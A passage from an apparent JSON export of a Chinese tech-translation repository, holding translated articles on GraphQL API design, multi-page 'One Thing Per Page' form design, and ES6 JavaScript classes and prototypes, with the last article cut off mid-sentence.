前瞻性设计\n\n为了避免未来破坏性的变更，前瞻性设计十分必要。自问一个问题很有帮助：“这个产品或功能的下一个版本可能是什么样的？” 设计 API 时，心中要有下一版本的雏形，然后根据雏形设计 API。设想这个 API 是否能够支持心中理想的未来产品的需要。\n\n#### 从 Graph 角度思考，而不是 endpoint 角度\n\n大多数传统的 API 都是从一些新的产品体验开始的，并且根据这些体验向后设计 API。GraphQL 则不同，它在一个 endpoint 中暴露所有数据。如果你考虑的是 endpoint，你可能会创建多个 object，根据用途单独定义对象，而不是描述建模数据的语义。如果你将这个问题作为 Graph 中的对象，并将数据与你正在构建的功能分离开来，结果就是一个单一的、内聚的 Graph。\n\n#### 描述数据，而不是视图\n\n确保没有将 API 与当前客户端需求紧密联系在一起，比如手机 app。创建的 API 只用于 TV app，而不适用于 web app，这当然不是你想要的。保持关注数据的语义，而不是过多地关注视图。反问自己一个问题：“这个 API 适用于未来客户端吗？”\n\n#### GraphQL 是简化的接口\n\n记住，GraphQL 是设计用于当前系统之上简化接口，仍然需要搭建系统。\n\n#### 隐藏实现细节\n\n当设计 API 时，问自己的一个问题，“如果底层实现变更了怎么办？” 诸如数据库从 SQL 迁移到 Mongo 之类的。变更之后这个 API 是否仍旧适用？最佳实践允许我们快速创建原型，轻松扩展，不需要中断客户端就能部署新的服务。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/better-form-design-one-thing-per-page.md",
    "content": "\n> * 原文地址：[Better Form Design: One Thing Per Page (Case Study)](https://www.smashingmagazine.com/2017/05/better-form-design-one-thing-per-page/)\n> * 原文作者：[Adam Silver](https://www.smashingmagazine.com/author/adamsilver/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译文地址：[github.com/xitu/gold-miner/blob/master/TODO/better-form-design-one-thing-per-page.md](https://github.com/xitu/gold-miner/blob/master/TODO/better-form-design-one-thing-per-page.md)\n> * 译者：[horizon13th](https://github.com/horizon13th)\n> * 校对者：[LeviDing](https://github.com/leviding), [laiyun90](https://github.com/laiyun90)\n\n# 更好的表单设计: 每一页，一件事（实例研究）\n\n2008 年，我在 Boots.com 工作时，团队提出需求，要设计当时最流行的单页表单进行付款操作，主要技术有折叠选项卡，AJAX，客户端验证。\n\n表单提交的每一步（快递地址，快递方式，付款方式）都是一个折叠模块。每一个模块通过 AJAX 提交，提交成功后当前模块折叠，下一步所在的折叠模块滑动展开。\n\n如下图所示：\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/04/boots1-780w-opt-1.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/04/boots1-large-opt-1.png)\n\nBoots 网站的单页付款图，每一步都是一个折叠模块。([View large version](https://www.smashingmagazine.com/wp-content/uploads/2017/04/boots1-large-opt-1.png)）\n\n用户在提交订单时备受折磨，因为一旦填错内容就很难修改，用户需要上下来来回回滑动屏幕。折叠面板的设计简直太让人不爽了。果不其然，客户提出需求让我们修改。\n\n我们重新设计了页面，将原来的每个折叠模块变成了独立的页面，删掉了折叠面板效果，也不再使用 AJAX，唯独保留了客户端验证，以省去不必要的服务器请求。\n\n更改后的设计如下：\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/04/boots2-780w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/04/boots2-large-opt.png)\n\nBoots 网站的多页付款图，每一步都是一个单独页面。([View large version](https://www.smashingmagazine.com/wp-content/uploads/2017/04/boots2-large-opt.png)）\n\n这一版本变得好多了。我记不清确切的支持数据，但我记得客户当时很满意。\n\n六年过去了（2014），当我就职于 Just Eat，同样的事情在不同地点又发生了一次。我们又重新设计了单页提交订单页面，将单页的多个模块修改成独立的页面。这次，我记录下了数据。\n\n结果显示，**每年新增订单数量有两百万**。这里要强调一下，这个数字仅仅是订单量，还不是利润。该数据是版本更新一周内的订单统计结果，由付款时订单增加的百分比而得来。我们这个百分比转化成了订单数量，再乘以52周。\n\n下图是一些移动端设计：\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/04/justeat-780w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/04/justeat-large-opt.png)\n\nJust Eat 的付款被分成了多个页面。我们还提出了一个设计方案使付款更简便：用户可以选择“现金付款”或者“银行卡付款”，然后跳转到相关页面去填写信息。很遗憾，我们从未对此进行测试。([View large version](https://www.smashingmagazine.com/wp-content/uploads/2017/04/justeat-large-opt.png)）\n\n几年过去了（2016），GDS 公司的 Robin Whittleton 告诉我说，把每一件事情放在属于自己一个页面里，这本身是一个设计模式，被称为“每一页，一件事”英文为“One Thing Per Page”。除了数据支持，这个设计模式背后还有可靠的理论依据，我们马上会讲到。\n\n不过在这之前，我们先来看看这个设计模式到底是什么样的。\n\n### “每一页，一件事”到底意味着什么？\n\n“每一页，一件事”，指的并不是在一个页面上只摆放一个元素或者组件（当然了，这样也可以）。不过至少，你也得给加个页眉页脚吧。\n\n同理，它也不是在单页上放置单个表格字段。（尽管，你非要这样做也不是不行）\n\n这种模式是将复杂繁琐的步骤分割成很多个更小的部分，将这些更小的部分格子分布在只属于它们自己的屏幕。\n\n例如，在设计快递地址表单时，我们将这个功能单独放置一页，而不是将它和快递方式，付款方式几个功能挤在同一个页面。\n\n一个快递地址表单有多个字段（城市，街道，邮政编码等），然而终究这些字段共同回答了同一个具体问题。因而在同一页面上解决这个问题是合理的。\n\n下面让我们考虑一下，这种模式究竟为什么这么好。\n\n### 为什么这种模式这么好嘞？\n\n这个模式往往产出奇妙美味的果子（其实是订单啦，原谅我的比喻）能够理解其背后的运作原理，那就好办啦。\n\n#### 1. 减少认知负荷\n\n正如 Ryan Holiday 在 *The Obstacle Is The Way* （最近在美国很火的鸡汤畅销书－－译者注）里所说的那样：\n\n> 还记得你第一次见到复杂的代数方程么？有那么一大堆混淆的符号和未知数。但是当你静下心分解方程式，最终得到的，那就是答案。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/04/algebra-780w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/04/algebra-large-opt.png)\n\n解决方程式的简单办法就是，分步骤分解等式。([View large version](https://www.smashingmagazine.com/wp-content/uploads/2017/04/algebra-large-opt.png)）\n\n同样的道理可以应用到用户试图填好一份表单，或者任何其它事情。如果屏幕上内容较少，且用户只需做出一种选择，阻力将降到最小。因而用户就会专注停留在任务本身。\n\n#### 2. 简化错误处理\n\n当用户填写一个较小的表格时，一旦犯错能够早发现早处理。如果只有一件事，修复错误会变得很容易，这降低了用户放弃填写表格的几率。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/04/errors-780w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/04/errors-large-opt.png)\n\n即使有好几个错误发生，Kidly 的地址表单修改起来仍很简便。([View large version](https://www.smashingmagazine.com/wp-content/uploads/2017/04/errors-large-opt.png)）\n\n#### 3. 加快页面加载\n\n当页面设计上遵从“小”的原则，页面加载速度会更快。快速加载的页面降低了用户等不及而离开的风险，在服务上得到了用户的信任。\n\n#### 4. 简化行为追踪\n\n页面内容越多，越难分析用户为什么会离开页面。这里要弄清楚：用户行为分析并不应该作为页面设计的主导，但它作为副产品还是不错的。\n\n#### 5. 简化进度查看和返回上一步操作\n\n如果用户频繁提交信息，我们可以将信息以更细化的方式保存起来。比如当有用户在中途放弃订单，我们可以发邮件以推动他们完成订单。\n\n#### 6. 减少滑动操作\n\n不要搞错了噢，[滑动操作也没什么大不了](http://uxmyths.com/post/654047943/myth-people-dont-scroll)  —— 用户期望网页以滑动的方式运作。但是一旦页面变小了，用户不必再滑动屏幕。而且推广召集活动一般都在折叠面板最顶端，强化了需求，也简化了操作流程。\n\n#### 7. 分支操作更便捷\n\n有时候我们我们会根据用户上一步的操作而决定下一步进入不同的分支操作。举个简单的例子，假设我们有两个下拉选择菜单。用户在第二个菜单看到的选项取决于他在第一个菜单的选择。\n\n每一页只做一件事使其更简单：当用户在第一个下拉菜单选好并点击提交，服务器响应并返回给用户第二个菜单的内容，简单易行。\n\n我们可以使用 JavaScript，但其实构建界面，并保证用户界面可以访问比想象的要复杂。倘若 [JavaScript 出错](https://kryogenix.org/code/browser/everyonehasjs.html)，用户可能会有很不好的用户体验。而且加载页面所有可能的选项也是一笔重量级开销。\n\n我们可以使用 AJAX 代替，但这其实并没有把我们从渲染新页面（模块）中解放出来。更严峻的是，AJAX 也没有减少服务器端的传输开销。\n\n这还不是全部，我们需要发送更多的代码以发送 AJAX 请求，处理错误并显示加载指示器。再强调一下，这些都会使网页加载得更缓慢。\n\n自定义加载进度条也很棘手，和浏览器原生实现的进度条不同，它往往是不准确的。而且每个网站都有自己特定的展现方式，用户对它们并不熟悉。然而，用户的熟悉程度是一个用户体验的公约，在非必需的情况下我们最好不要破坏它。\n\n另外，在单一页面上动态更新两个甚至多个字段，这需要用户**按先后顺序**交互。虽然我们能控制显示隐藏输入框，但这还是过于复杂。\n\n最后，用户可能会更改他所填写的内容。内容更改可能需要后续面板隐藏，或者后续面板内容也更改。这些也很令人困惑。\n\n#### 8. 阅读模式友好\n\n如果页面上内容少，阅读模式下用户不必再迷失于大量的无关信息。用户可以迅速定位标题以与表单更快速地交互。\n\n#### 9. 简化细节修正\n\n想象下某个用户正在确定订单，突然他在付款信息看到一个严重的错误。返回到上一页远比返回一页中的某一部分简单得多。\n\n[![](https://www.smashingmagazine.com/wp-content/uploads/2017/04/kidly-780w-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2017/04/kidly-large-opt.png)\n\n点击“编辑”按钮把用户带回到付款方式页面，页面上有专有标题和相关表单字段。 ([View large version](https://www.smashingmagazine.com/wp-content/uploads/2017/04/kidly-large-opt.png)）\n\n浏览页面中途有其他内容，这是很迷惑的事情。记住噢，点击链接去完成某些操作，这种在页面上做其他事情的交互将会让用户分心。\n\n而且这里面有很多潜在工作。比如说，如果你想在同一个页面上显示隐藏模块，需要额外逻辑来处理。\n\n每一页只做一件事的话，这些问题就会烟消云散啦。\n\n#### 10. 用户可以控制其数据授权\n\n用户不可能只让浏览器加载一半页面，要么全部，要么什么都没有。如果用户想要更多的信息，它可以点击链接，拥有**选择**的权利。只要每一步能让他们更接近目标，[用户一点都不介意多点一下鼠标](http://uxmyths.com/post/654026581/myth-all-pages-should-be-accessible-in-3-clicks)。\n\n#### 11. 解决性能问题\n\n如果所有内容融合成一个庞大的怪物 —— 最极端的例子就是单页应用 —— 那性能问题是很难解决的。到底是运行时间问题呢？还是内存泄漏？或者 AJAX 调用？\n\n我们很容易想到 AJAX 改善了用户体验，但是代码量的增加应该不会加快用户感受吧。\n\n客户端的复杂性掩盖了服务器端的根本问题。如果一页只做一件事，性能出问题的可能性很小。一旦有了问题，也很容易查找出来。\n\n#### 12. 增加用户感知进度\n\n由于用户不断的移动到下一步，这种进展感给用户积极的感觉，好像在填写表格一样。\n\n#### 13. 减少信息丢失风险\n\n一个长表格需要更多填写的时间。如果花费时间太久，页面可能超时导致信息丢失，给用户带来巨大的挫败感。\n\n又或者，电脑死机，像 *我是 Daniel Blake* 的主角 Daniel 遇到的情况那样。他健康状况日益恶化，从没有使用过电脑，经常遭受电脑死机数据丢失的痛苦，最后只得放弃。\n\n#### 14. 提升老用户体验\n\n如果我们能保存用户的快递地址和付款信息，可以跳过这些页面，引导客户直接到“检查无误确认提交”的页面。这减少了用户阻力，增加用户转化。\n\n#### 15. 补充移动优先设计\n\n移动优先设计激励我们设计出小屏幕中至关重要的元素。一页只做一件事就遵循了这样的方法。\n\n#### 16. 设计流程更简单\n\n当我们设计一个复杂的工作流时，将其分解成原子性的单个页面多个模块，有助于问题的理解。\n\n切换屏幕改变顺序很容易，分析问题的范围也变得容易，正如用户一次只做一件事情那样简单。\n\n这种用户受益模式的很好的副产品，这样还减少了设计精力。\n\n### 这种模式适合所有情景么？\n\n并不是。Caroline Jarrett 在 2015 年第一次写过一篇同样标题的文章[每一页，一件事](https://designnotes.blog.gov.uk/2015/07/03/one-thing-per-page/)。她讲到用户研究会很快显示“一些问题最好归类在一起在长页面中显示”。\n\n然而，相反的是，她也解释说自然地“走到一起”的问题们往往是从设计师的角度来看的，从用户角度来看，这些问题并不需要放在一起。\n\n她举了一个启发性的例子。当为 GOV.UK 做认证时，他们测试将“创建用户名”放在一页，而将“创建密码”放在下一页。\n\n像大多数设计师一样，Caroline 认为将上述两个表单字段放在单独页面上是矫枉过正的。但现实是，用户并没有对此感到太困扰。\n\n关键在于，至少开始于“每一页，一件事”，随着用户研究，找出适合的字段来进行合并分组以优化用户体验。\n\n这并不意味着，最终你总会以把所有页面都合并在一起。在我经验看来，最好的结果往往是将事情拆分。当然了，如果你有更好的经验，我也愿意倾听。\n\n### 总结\n\n这种低调不起眼的 UX 模式也可以设计地具备灵活性，高性能，包容性。它迎合网络大众，使得所有用户群体都能从容应对。\n\n在同一页面上摆放太多内容（甚至全部内容）可能会带来简洁的错觉。但就像代数方程那样，复杂的代数方程如果不分解开来，实际上更难解答。\n\n如果我们把一项任务看作是用户想要完成的交易，将这个流程分步骤处理是很合理的。就好像我们使用网络传输的形式作为逐渐展现页面的形式，这种“One Thing Per Page”背后的隐喻给用户提供了潜意识里的前进感。\n\n至今我还未见到过比“每一页，一件事”更好的设计模式。这就是这个时代：简单，就是这么简单。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/better-javascript-with-es6-pt-ii-a-deep-dive-into-classes.md",
    "content": ">* 原文链接 : [Better JavaScript with ES6, Pt. II: A Deep Dive into Classes](https://scotch.io/tutorials/better-javascript-with-es6-pt-ii-a-deep-dive-into-classes)\n* 原文作者 : [Peleke](https://github.com/Peleke)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Malcolm](https://github.com/malcolmyu)\n* 校对者: [嘤嘤嘤](https://github.com/xingwanying), [Jack-Kingdom](https://github.com/Jack-Kingdom)\n\n# 使用 ES6 编写更好的 JavaScript Part II：深入探究 [类]\n\n## 辞旧迎新\n\n在本文的开始，我们要说明一件事：\n\n> 从本质上说，ES6 的 classes 主要是给创建老式构造函数提供了一种更加方便的语法，并不是什么新魔法 —— Axel Rauschmayer，Exploring ES6 作者\n\n从功能上来讲，`class` 声明就是一个语法糖，它只是比我们之前一直使用的基于原型的行为委托功能更强大一点。本文将从新语法与原型的关系入手，仔细研究 ES2015 的 `class` 关键字。文中将提及以下内容：\n\n* 定义与实例化类；\n* 使用 `extends` 创建子类；\n* 子类中 `super` 语句的调用；\n* 以及重要的标记方法（symbol method）的例子。\n\n在此过程中，我们将特别注意 `class` 声明语法从本质上是如何映射到基于原型代码的。\n\n让我们从头开始说起。\n\n## 退一步说：Classes **不是**什么\n\nJavaScript 的『类』与 Java、Python 或者其他你可能用过的面向对象语言中的类不同。其实后者可能称作面向『类』的语言更为准确一些。\n\n在传统的面向类的语言中，我们创建的**类**是**对象**的模板。需要一个新对象时，我们**实例化**这个类，这一步操作告诉语言引擎将这个类的方法和属性**复制**到一个新实体上，这个实体称作**实例**。**实例**是我们自己的对象，且在实例化之后与父类毫无内在联系。\n\n而 JavaScript **没有**这样的复制机制。在 JavaScript 中『实例化』一个类创建了一个新对象，但这个新对象却**不**独立于它的父类。\n\n正相反，它创建了一个与**原型**相连接的对象。即使是在**实例化之后**，对于原型的修改也会传递到实例化的新对象去。\n\n原型本身就是一个无比强大的设计模式。有许多使用了原型的技术模仿了传统类的机制，`class` 便为这些技术提供了简洁的语法。\n\n总而言之：\n\n1. JavaScript **不存在** Java 和其他面向对象语言中的类概念；\n2. JavaScript 的 `class` 很大程度上只是原型继承的语法糖，与传统的类继承有**很大的不同**。\n\n搞清楚这些之后，让我们先看一下 `class`。\n\n## 类基础：声明与表达式\n\n我们使用 `class` 关键字创建类，关键字之后是变量标识符，最后是一个称作**类主体**的代码块。这种写法称作**类的声明**。没有使用 `extends` 关键字的类声明被称作**基类**：\n\n    \"use strict\";\n\n    // Food 是一个基类\n    class Food {\n\n        constructor (name, protein, carbs, fat) {\n            this.name = name;\n            this.protein = protein;\n            this.carbs = carbs;\n            this.fat = fat;\n        }\n\n        toString () {\n            return `${this.name} | ${this.protein}g P :: ${this.carbs}g C :: ${this.fat}g F`\n        }\n\n        print () {\n            console.log( this.toString() );\n        }\n    }\n\n    const chicken_breast = new Food('Chicken Breast', 26, 0, 3.5);\n\n    chicken_breast.print(); // 'Chicken Breast | 26g P :: 0g C :: 3.5g F'\n    console.log(chicken_breast.protein); // 26 (LINE A)\n\n需要注意到以下事情：\n\n* 类**只能**包含方法定义，**不能**有数据属性；\n* 定义方法时，可以使用[简写方法定义](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions)；\n* 与创建对象不同，我们不能在类主体中使用逗号分隔方法定义；\n* 我们**可以**在实例化对象上直接引用类的属性（如 LINE A）。\n\n类有一个独有的特性，就是 **contructor** 构造方法。在构造方法中我们可以初始化对象的属性。\n\n构造方法的定义并**不是必须**的。如果不写构造方法，引擎会为我们插入一个空的构造方法：\n\n    \"use strict\";\n\n    class NoConstructor {\n        /* JavaScript 会插入这样的代码：\n         constructor () { }\n        */\n    }\n\n    const nemo = new NoConstructor(); // 能工作，但没啥意思\n\n将一个类赋值给一个变量的形式叫**类表达式**，这种写法可以替代上面的语法形式：\n\n    \"use strict\";\n\n    // 这是一个匿名类表达式，在类主体中我们不能通过名称引用它\n    const Food = class {\n        // 和上面一样的类定义……\n    }\n\n    // 这是一个命名类表达式，在类主体中我们可以通过名称引用它\n    const Food = class FoodClass {\n        // 和上面一样的类定义……\n\n        //  添加一个新方法，证明我们可以通过内部名称引用 FoodClass……        \n        printMacronutrients () {\n            console.log(`${FoodClass.name} | ${FoodClass.protein} g P :: ${FoodClass.carbs} g C :: ${FoodClass.fat} g F`)\n        }\n    }\n\n    const chicken_breast = new Food('Chicken Breast', 26, 0, 3.5);\n    chicken_breast.printMacronutrients(); // 'Chicken Breast | 26g P :: 0g C :: 3.5g F'\n\n    // 但是不能在外部引用\n    try {\n        console.log(FoodClass.protein); // 引用错误\n    } catch (err) {\n        // pass\n    }\n\n这一行为与[匿名函数与命名函数表达式](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/function)很类似。\n\n## 使用 `extends` 创建子类以及使用 super 调用\n\n使用 `extends` 创建的类被称作**子类**，或**派生类**。这一用法简单明了，我们直接在上面的例子中构建：\n\n    \"use strict\";\n\n    // FatFreeFood 是一个派生类\n    class FatFreeFood extends Food {\n\n        constructor (name, protein, carbs) {\n            super(name, protein, carbs, 0);\n        }\n\n        print () {\n            super.print();\n            console.log(`Would you look at that -- ${this.name} has no fat!`);\n        }\n\n    }\n\n    const fat_free_yogurt = new FatFreeFood('Greek Yogurt', 16, 12);\n    fat_free_yogurt.print(); // 'Greek Yogurt | 26g P :: 16g C :: 0g F  /  Would you look at that -- Greek Yogurt has no fat!'\n\n派生类拥有我们上文讨论的一切有关基类的特性，另外还有如下几点新特点：\n\n* 子类使用 `class` 关键字声明，之后紧跟一个标识符，然后使用 `extend` 关键字，最后写一个**任意表达式**。这个表达式通常来讲就是个标识符，但[理论上也可以是函数](https://gist.github.com/sebmarkbage/fac0830dbb13ccbff596)。\n* 如果你的派生类需要引用它的父类，可以使用 `super` 关键字。\n* 一个派生类不能有一个空的构造函数。即使这个构造函数就是调用了一下 `super()`，你也得把它显式的写出来。但派生类却可以**没有**构造函数。\n* 在派生类的构造函数中，**必须**先调用 `super`，才能使用 `this` 关键字（译者注：仅在构造函数中是这样，在其他方法中可以直接使用 `this`）。\n\n在 JavaScript 中仅有两个 `super` 关键字的使用场景：\n\n1. **在子类构造函数中调用**。如果初始化派生类是需要使用父类的构造函数，我们可以在子类的构造函数中调用 `super(parentConstructorParams)`，传递任意需要的参数。\n2. **引用父类的方法**。在常规方法定义中，派生类可以使用点运算符来引用父类的方法：`super.methodName`。\n\n我们的 `FatFreeFood` 演示了这两种情况：\n\n1. 在构造函数中，我们简单的调用了 `super`，并将脂肪的量传入为 `0`。\n2. 在我们的 `print` 方法中，我们先调用了 `super.print`，之后才添加了其他的逻辑。\n\n不管你信不信，~~我反正是信了~~以上说的已涵盖了有关 `class` 的基础语法，这就是你开始实验需要掌握的全部内容。\n\n## 深入学习原型\n\n现在我们开始关注 `class` 是怎么映射到 JavaScript 内部的原型机制的。我们会关注以下几点：\n\n* 使用构造调用创建对象；\n* 原型连接的本质；\n* 属性和方法委托；\n* 使用原型模拟类。\n\n### 使用构造调用创建对象\n\n构造函数不是什么新鲜玩意儿。使用 `new` 关键字调用**任意**函数会使其返回一个对象 —— 这一步称作创建了一个**构造调用**，这种函数通常被称作**构造器**：\n\n    \"use strict\";\n\n    function Food (name, protein, carbs, fat) {\n        this.name    = name;\n        this.protein = protein;\n        this.carbs   = carbs;\n        this.fat     = fat;\n    }\n\n    // 使用 'new' 关键字调用 Food 方法，就是构造调用，该操作会返回一个对象\n    const chicken_breast = new Food('Chicken Breast', 26, 0, 3.5);\n    console.log(chicken_breast.protein) // 26\n\n    // 不用 'new' 调用 Food 方法，会返回 'undefined'\n    const fish = Food('Halibut', 26, 0, 2);\n    console.log(fish); // 'undefined'\n\n当我们使用 `new` 关键字调用函数时，JS 内部执行了下面四个步骤：\n\n1. 创建一个新对象（这里称它为 **O**）；\n2. 给 **O** 赋予一个连接到其他对象的链接，称为**原型**；\n3. 将函数的 `this` 引用指向 **O**；\n4. 函数隐式返回 **O**。\n\n在第三步和第四步之间，引擎会执行你函数中的具体逻辑。\n\n知道了这一点，我们就可以重写 `Food` 方法，使之不用 `new` 关键字也能工作：\n\n    \"use strict\";\n\n    // 演示示例：消除对 'new' 关键字的依赖\n    function Food (name, protein, carbs, fat) {\n        // 第一步：创建新对象\n        const obj = { };\n\n        // 第二步：链接原型——我们在下文会更加具体地探究原型的概念\n        Object.setPrototypeOf(obj, Food.prototype);\n\n        // 第三步：设置 'this' 指向我们的新对象\n        // 尽然我们不能再运行的执行上下文中重置 `this`\n        // 我们在使用 'obj' 取代 'this' 来模拟第三步\n        obj.name    = name;\n        obj.protein = protein;\n        obj.carbs   = carbs;\n        obj.fat     = fat;\n\n        // 第四步：返回新创建的对象\n        return obj;\n    }\n\n    const fish = Food('Halibut', 26, 0, 2);\n    console.log(fish.protein); // 26\n\n四步中的三步都是简单明了的。创建一个对象、赋值属性、然后写一个 `return` 声明，这些操作对大多数开发者来说没有理解上的问题——然而这就是难倒众人的黑魔法原型。\n\n### 直观理解原型链\n\n在通常情况下，JavaScript 中的包括函数在内的所有对象都会链接到另一个对象上，这就是**原型**。\n\n如果我们访问一个对象本身没有的属性，JavaScript 就会在对象的原型上检查该属性。换句话说，如果你对一个对象请求它没有的属性，它会对你说：『这个我不知道，问我的原型吧』。\n\n在另一个对象上查找不存在属性的过程称作**委托**。\n\n    \"use strict\";\n\n    // joe 没有 toString 方法……\n    const joe    = { name : 'Joe' },\n        sara   = { name : 'Sara' };\n\n    Object.hasOwnProperty(joe, toString); // false\n    Object.hasOwnProperty(sara, toString); // false\n\n    // ……但我们还是可以调用它！\n    joe.toString(); // '[object Object]'，而不是引用错误！\n    sara.toString(); // '[object Object]'，而不是引用错误！\n\n尽管我们的 `toString` 的输出完全没啥用，但请注意：这段代码没有引起任何的 `ReferenceError`！这是因为尽管 `joe` 和 `sara` 没有 `toString` 的属性，**但他们的原型有啊**。\n\n当我们寻找 `sara.toString()` 方法时，`sara` 说：『我没有 `toString` 属性，找我的原型吧』。正如上文所说，JavaScript 会亲切的询问 `Object.prototype` 是否含有 `toString` 属性。由于原型上有这一属性，JS 就会把 `Object.prototype` 上的 `toString` 返回给我们程序并执行。\n\n`sara` 本身没有属性没关系——**我们会把查找操作委托到原型上**。\n\n换言之，我们就可以访问到对象上并不存在的属性，**只要其的原型上有这些属性**。我们可以利用这一点将属性和方法赋值到对象的原型上，然后我们就可以调用这些属性，好像它们真的存在在那个对象上一样。\n\n更给力的是，如果几个对象共享相同的原型——正如上面的 `joe` 和 `sara` 的例子一样——当我们给原型赋值属性之后，它们就**都**可以访问了，**无需**将这些属性单独拷贝到每一个对象上。\n\n这就是为何大家把它称作**原型继承**——如果我的对象没有，但对象的原型有，那我的对象也能**继承**这个属性。\n\n事实上，这里并没有发生什么『继承』。在面向类的语言里，继承指从父类**复制**属性到子类的行为。在 JavaScript 里，没发生这种复制的操作，事实上这就是原型继承与类继承相比的一个主要优势。\n\n在我们探究原型究竟是怎么来的之前，我们先做一个简要回顾：\n\n* `joe` 和 `sara` **没有**『继承』一个 `toString` 的属性；\n* `joe` 和 `sara` 实际上根本**没有**从 `Object.prototype` 上『继承』；\n* `joe` 和 `sara` 是**链接**到了 `Object.prototype` 上；\n* `joe` 和 `sara` 链接到了**同一个** `Object.prototype` 上。\n* 如果想找到一个对象的（我们称它作**O**）原型，我们可以使用 `Object.getPrototypeof(O)`。\n\n然后我们再强调一遍：对象没有『继承自』他们的原型。他们只是**委托**到原型上。\n\n以上。\n\n接下来让我们深♂入一下。\n\n## 设置对象的原型\n\n我们已了解到基本上每个对象（下文以 **O** 指代）都有原型（下文以 **P** 指代），然后当我们查找 **O** 上没有的属性，JavaScript 引擎就会在 **P** 上寻找这个属性。\n\n至此我们有两个问题：\n\n1. 以上情况**函数**怎么玩？\n2. 这些原型是从哪里来的？\n\n### 名为 Object 的函数\n\n在 JavaScript 引擎执行程序之前，它会创建一个环境让程序在内部执行，在执行环境中会创建一个函数，叫做 [Object](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object), 以及一个关联对象，叫做 [Object.prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype)。\n\n换句话说，`Object` 和 `Object.prototype` 在**任意**执行中的 JavaScript 程序中**永远**存在。\n\n这个 `Object` 乍一看好像和其他函数没什么区别，但特别之处在于它是一个**构造器**——在调用它时返回一个新对象：\n\n    \"use strict\";\n\n    typeof new Object(); // \"object\"\n    typeof Object();     // 这个 Object 函数的特点是不需要使用 new 关键字调用\n\n这个 `Object.prototype` **对象**是个……对象。正如其他对象一样，它有属性。\n\n![Object.prototype 上的属性](https://i.imgsafe.org/ebbd5e3.png)\n\n关于 `Object` 和 `Object.prototype` 你需要知道以下几点：\n\n1. `Object` **函数**有一个叫做 `.prototype` 的属性，指向一个对象（`Object.prototype`）；\n2. `Object.prototype` **对象**有一个叫做 `.constructor` 的属性，指向一个函数（`Object`）。\n\n实际上，这个总体方案对于 JavaScript 中的**所有**函数都是适用的。当我们创建一个函数——下文称作 `someFunction`——这个函数就会有一个属性 `.prototype`，指向一个叫做 `someFunction.prototype` 的对象。\n\n与之相反，`someFunction.prototype` 对象会有一个叫做 `.contructor` 的属性，它的引用指回函数 `someFunction`。\n\n    \"use strict\";\n\n    function foo () {  console.log('Foo!');  }\n\n    console.log(foo.prototype); // 指向一个叫 'foo' 的对象\n    console.log(foo.prototype.constructor); // 指向 'foo' 函数\n\n    foo.prototype.constructor(); // 输出 'Foo!' —— 仅为证明确实有 'foo.prototype.constructor' 这么个方法且指向原函数\n\n需要记住以下几个要点：\n\n1. 所有的函数都有一个属性，叫做 `.prototype`，它指向这个函数的关联对象。\n2. 所有函数的原型都有一个属性，叫做 `.constructor`，它指向这个函数本身。\n3. 一个函数原型的 `.constructor` 并非必须指向创建这个函数原型的函数……有点绕，我们等下会深入探讨一下。\n\n设置**函数**的原型有一些规则，在开始之前，我们先概括设置对象原型的三个规则：\n\n1. 『默认』规则；\n2. 使用 `new` 隐式设置原型；\n3. 使用 `Object.create` 显式设置原型。\n\n### 默认规则\n\n考虑下这段代码：\n\n    \"use strict\";\n\n    const foo = { status : 'foobar' };\n\n十分简单，我们做的事儿就是创建一个叫 `foo` 的对象，然后给他一个叫 `status` 的属性。\n\n然后 JavaScript 在幕后多做了点工作。当我们在字面上创建一个对象时，JavaScript 将对象的原型指向 `Object.prototype` 并设置其原型的 `.constructor` 指向 `Object`：\n\n    \"use strict\";\n\n    const foo = { status : 'foobar' };\n\n    Object.getPrototypeOf(foo) === Object.prototype; // true\n    foo.constructor === Object; // true\n\n### 使用 `new` 隐式设置原型\n\n让我们再看下之前调整过的 `Food` 例子。\n\n    \"use strict\";\n\n    function Food (name, protein, carbs, fat) {\n        this.name    = name;\n        this.protein = protein;\n        this.carbs   = carbs;\n        this.fat     = fat;\n    }\n\n现在我们知道**函数** `Food` 将会与一个叫做 `Food.prototype` 的**对象**关联。\n\n当我们使用 